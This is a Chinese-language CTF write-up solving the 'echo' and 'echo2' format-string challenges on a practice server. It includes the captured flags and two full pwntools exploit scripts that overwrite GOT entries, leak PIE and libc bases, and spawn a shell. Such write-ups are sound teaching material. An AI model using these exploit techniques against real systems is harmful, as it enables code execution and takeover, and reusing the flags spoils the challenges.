printf

echo

FLAG{printf vulnerability is fun, right? %16c%7$hhn%99c%7$hhn}

是根据这个网站写的。首先判断 printf 的那个栈和之前输入的字符串间隔几个参数:输入ABCD%n$x看 n=多少时能输出ABCD44434241(44434241 是 ABCD16 进制 ascii 码的反序)

然后利用 pwntools 自带的 fmtstr_payload,将 n、printf 地址和 system 地址放进去,利用 printf 漏洞把 printf 地址改成 system 地址。再输入“/bin/sh”字符串让 system 执行就好了。

# -*- coding: utf-8 -*-
from pwn import *
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
context.log_level = 'debug'
io = remote("hackme.inndy.tw", 7711)
# io = process('./echo')
# gdb.attach(io, "b *main")
for i in range(100):
	payload = "ABCD%" + str(i) + "$x"
	io.sendline(payload)
	if "ABCD44434241" == io.recvline(keepends=False):
		print('------------------------------')
		print('Found format string offset: ' + str(i))
		print('------------------------------')
		offset = i
		break

# libc = ELF("/lib/i386-linux-gnu/libc.so.6")
elf = ELF("./echo")
io.sendline(fmtstr_payload(offset, {elf.got['printf']: elf.sym['system']}))
io.sendline('/bin/sh')
io.interactive()

出乎意料的是这题不用泄露 libc 版本直接发过去就能得到 shell……莫非我电脑和 inddy 用的一个版本 libc……

echo2

FLAG{do you know PIE? %9$s or the ASLR? %9c$8$hhn}

一开始觉得和上一道没什么区别,顶多就是不能用 fmtstr_payload 了.但对着 ppt 半天做不出.上网得知:

  1. 开启 PIE 需要程序本身的基址
  2. 这题没法把 printf 地址覆盖成 system.因为一个%hhn 写一个字节,没法一次覆盖完,下一次循环也没法用 printf 了.所以网上的 wp 无一例外都用 one_gadget 得到execve('/bin/sh', NULL, NULL),并覆盖到退出循环后的 exit 函数里.

脚本参考了王__学长和李_学长的:

# -*- coding: utf-8 -*-
from pwn import *
context.bits = 64
# context.log_level = 'debug'
io = remote('hackme.inndy.tw', 7712)

for i in range(100):
	payload = "ABCD%" + str(i) + "$x"
	io.sendline(payload)
	if "ABCD44434241" == io.recvline(keepends=False):
		offset = i
		log.info("Found format string offset -> 0x%x" % offset)
		break

libc = ELF('./libc-2.23.so.x86_64')
elf = ELF('./echo2')

io.sendline("%41$p..%43$p..")
# %41$p指向的是main+74, 所以要减掉main函数地址(nm ./echo2得到)和74
elf_base = int(io.recvuntil("..", drop=True), 16) - 74 - 0x9b9

payload = "++%" + str(i+1) + "$s++" + p64(elf_base+elf.got['printf'])
io.sendline(payload)
io.recvuntil('++')
printf_addr = u64(io.recvuntil('++', drop=True).ljust(8, "\x00"))
libc_base = printf_addr - libc.sym['printf']

log.info("elf_base -> 0x%x" % elf_base)
log.info("libc_base -> 0x%x" % libc_base)

exit_addr, override_addr = elf_base + \
	elf.got['exit'], libc_base + 0x45206  # one_gadget

i = 0
while override_addr != 0:
	payload = "%{}c%8$hhn".format(override_addr & 0xff).ljust(16)
	payload += p64(exit_addr+i)
	log.info("sent: " + payload)
	io.sendline(payload)
	override_addr = override_addr >> 8
	i += 1

io.sendline('exit')
io.interactive()

如无特殊声明,本页内容采用 CC BY-NC 4.0 授权